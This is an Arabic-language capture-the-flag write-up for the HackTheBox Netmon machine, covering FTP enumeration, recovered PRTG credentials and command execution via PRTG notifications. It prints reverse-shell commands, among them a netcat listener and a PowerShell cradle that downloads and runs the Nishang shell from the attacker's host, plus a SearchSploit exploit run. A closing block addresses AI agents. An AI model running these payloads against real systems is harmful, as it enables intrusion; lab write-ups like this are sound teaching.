> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# تقرير HackTheBox عن Netmon

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف FTP
* تسريب المعلومات
* كشف بيانات اعتماد PRTG Network Monitor
* تنفيذ الأوامر عبر إشعارات PRTG
* تسليم غلاف عكسي لـ PowerShell
  {% endhint %}

## الاستطلاع

أنشئ مساحة العمل وشغّل فحص TCP الكامل:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="/files/042e3c9facd673b4e6cce26096cbc1d2372b6f4a" alt=""><figcaption></figcaption></figure>

شغّل فحص الخدمات المستهدف:

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="/files/e1688aa4d23f797bb305d496c057fb7c600393a6" alt=""><figcaption></figcaption></figure>

## استكشاف FTP

يتيح FTP الوصول المجهول.

<figure><img src="/files/096739f50704e9936c9295080da37f0c8dcfd0bb" alt=""><figcaption></figcaption></figure>

يمكن قراءة علامة المستخدم عبر FTP في مسار سطح مكتب المستخدم.

<figure><img src="/files/9c5d4840d6eff5fb9b13bdd707b822554e3cc725" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

يعرض المنفذ 80 **PRTG Network Monitor** واجهة ويب.

<figure><img src="/files/8e6abb59e5aaf3c2181787255e47601fe1f543ff" alt=""><figcaption></figcaption></figure>

راجع دليل الإعدادات:

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="/files/2e1aae0716f39305f06d3f638ed61a29b8f4ca20" alt=""><figcaption></figcaption></figure>

ملف النسخة الاحتياطية للإعدادات يكشف بيانات الاعتماد:

```
PRTG Configuration.old.bak
```

<figure><img src="/files/9fedea725d4ebce3dd42c7729f2062322a0554ee" alt=""><figcaption></figcaption></figure>

بيانات الاعتماد المسترجعة:

* اسم المستخدم: `prtgadmin`
* كلمة المرور: `PrTg@dmin2018`

<figure><img src="/files/f971b280a2b428a9b604674c9b7687f67a1e543e" alt=""><figcaption></figcaption></figure>

لأن الملف نسخة احتياطية قديمة، اختبر السنة المحدَّثة في كلمة المرور. يكون الوصول صالحًا باستخدام:

```
PrTg@dmin2019
```

<figure><img src="/files/948f52becad666493ceadd53582658a6fccb70bd" alt=""><figcaption></figcaption></figure>

## تنفيذ أوامر عن بُعد في PRTG

يمكن لإشعارات PRTG تنفيذ أوامر على الخادم. استخدم سكربت غلاف عكسي لـ PowerShell مستضافًا وشغّله عبر إجراء إشعار.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

نزّل حمولة PowerShell وتهيئتها:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

ابدأ مستمعًا:

```bash
rlwrap nc -nvlp 443
```

في PRTG، انتقل إلى `Setup > Account Settings > Notifications` وأنشئ إجراء إشعار يقوم بتنزيل السكربت المستضاف وتنفيذه.

<figure><img src="/files/fbe552a01c0259b515b0fab866cfba07c1e290f1" alt=""><figcaption></figcaption></figure>

نمط الأمر:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

إذا وصل ردّ الاستدعاء الخاص بالتنزيل إلى خادم HTTP لكن لم يعد الغلاف، فقم بترميز سكربت PowerShell كـ Base64 بتنسيق UTF-16LE ونفّذه باستخدام `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## مسار الاستغلال الآلي

يتضمن SearchSploit استغلالًا لـ PRTG ينشئ مستخدمًا إداريًا جديدًا عند تزويده بملف تعريف ارتباط مصادَق صالح.

```bash
searchsploit -m windows/webapps/46527.sh
```

شغّل الاستغلال باستخدام عنوان URL الهدف وملف تعريف ارتباط الجلسة:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

يقوم الاستغلال بإنشاء:

* اسم المستخدم: `pentest`
* كلمة المرور: `P3nT3st!`

<figure><img src="/files/d1da575a21efd8356996812d249651a8f690b838" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
